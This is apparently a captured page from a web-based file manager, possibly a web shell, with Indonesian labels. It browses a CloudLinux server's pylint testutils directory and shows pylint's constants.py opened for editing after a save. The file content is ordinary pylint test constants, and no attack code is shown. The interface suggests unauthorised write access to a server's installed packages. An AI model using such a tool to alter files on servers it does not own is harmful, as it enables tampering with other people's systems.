PATH: //opt/cloudlinux/venv/lib/python3.11/site-packages/pylint/testutils
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 __init__.py
↓
X
📁 __pycache__/
X
📁 _primer/
X
📄 _run.py
↓
X
📄 checker_test_case.py
↓
X
📄 configuration_test.py
↓
X
📄 constants.py
↓
X
📄 decorator.py
↓
X
📁 functional/
X
📄 functional_test_file.py
↓
X
📄 get_test_info.py
↓
X
📄 global_test_linter.py
↓
X
📄 lint_module_test.py
↓
X
📄 output_line.py
↓
X
📄 pyreverse.py
↓
X
📄 reporter_for_tests.py
↓
X
📄 testing_pylintrc
↓
X
📄 tokenize_str.py
↓
X
📄 unittest_linter.py
↓
X
📄 utils.py
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: constants.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt import operator import re import sys from pathlib import Path SYS_VERS_STR = ( "%d%d%d" % sys.version_info[:3] # pylint: disable=consider-using-f-string ) TITLE_UNDERLINES = ["", "=", "-", "."] UPDATE_OPTION = "--update-functional-output" UPDATE_FILE = Path("pylint-functional-test-update") # Common sub-expressions. _MESSAGE = {"msg": r"[a-z][a-z\-]+"} # Matches a #, # - followed by a comparison operator and a Python version (optional), # - followed by a line number with a +/- (optional), # - followed by a list of bracketed message symbols. # Used to extract expected messages from testdata files. _EXPECTED_RE = re.compile( r"\s*#\s*(?:(?P<line>[+-]?[0-9]+):)?" # pylint: disable=consider-using-f-string r"(?:(?P<op>[><=]+) *(?P<version>[0-9.]+):)?" r"\s*\[(?P<msgs>%(msg)s(?:,\s*%(msg)s)*)]" % _MESSAGE ) _OPERATORS = {">": operator.gt, "<": operator.lt, ">=": operator.ge, "<=": operator.le}
SIMPAN PERUBAHAN